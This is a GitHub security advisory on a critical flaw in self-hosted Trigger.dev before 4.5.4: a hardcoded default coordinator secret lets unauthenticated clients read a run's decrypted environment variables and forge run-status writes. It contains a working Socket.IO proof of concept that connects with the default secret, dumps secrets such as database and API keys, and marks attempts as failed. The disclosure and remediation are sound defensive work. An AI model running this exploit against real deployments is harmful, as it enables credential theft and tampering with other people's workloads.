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Trigger.dev: V1 coordinator default-secret unauth Socket.IO

Critical severity GitHub Reviewed Published Jul 20, 2026 in triggerdotdev/trigger.dev • Updated Oct 2, 2026

Package

npm trigger.dev (npm)

Affected versions

< 4.5.4

Patched versions

4.5.4

Description

TL;DR

The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.

Vulnerabilities

This attack is made possible by 3 vulnerabilities in Trigger.dev:

1. Hardcoded default authentication secret (CWE-798, Critical)

PROVIDER_SECRET and COORDINATOR_SECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value

2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)

READY_FOR_EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below

3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)

TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt_* friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id

Exploit chain / PoC

import { io } from "socket.io-client";

const sock = io("https://<self-hosted-target>/coordinator", {
  auth: { token: "coordinator-secret" },
  transports: ["websocket"],
});

sock.on("connect", () => {
  // exfil decrypted env for a known run id
  sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
    console.log(res.payload.environment);
    // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
  });

  // mark any attempt failed
  sock.emit("TASK_RUN_FAILED_TO_RUN", {
    completion: {
      id: "<attempt_friendlyId>",
      ok: false,
      error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
    },
  });
});

Resolution

Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER_SECRET / COORDINATOR_SECRET environment variables.

All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READY_FOR_EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.

Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).

Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.

Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.

References

@carderne carderne published to triggerdotdev/trigger.dev Jul 20, 2026
Published to the GitHub Advisory Database Oct 2, 2026
Reviewed Oct 2, 2026
Last updated Oct 2, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Use of Hard-coded Credentials

The product contains hard-coded credentials, such as a password or cryptographic key. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-gg6r-gp4c-89hp

Source code

Credits

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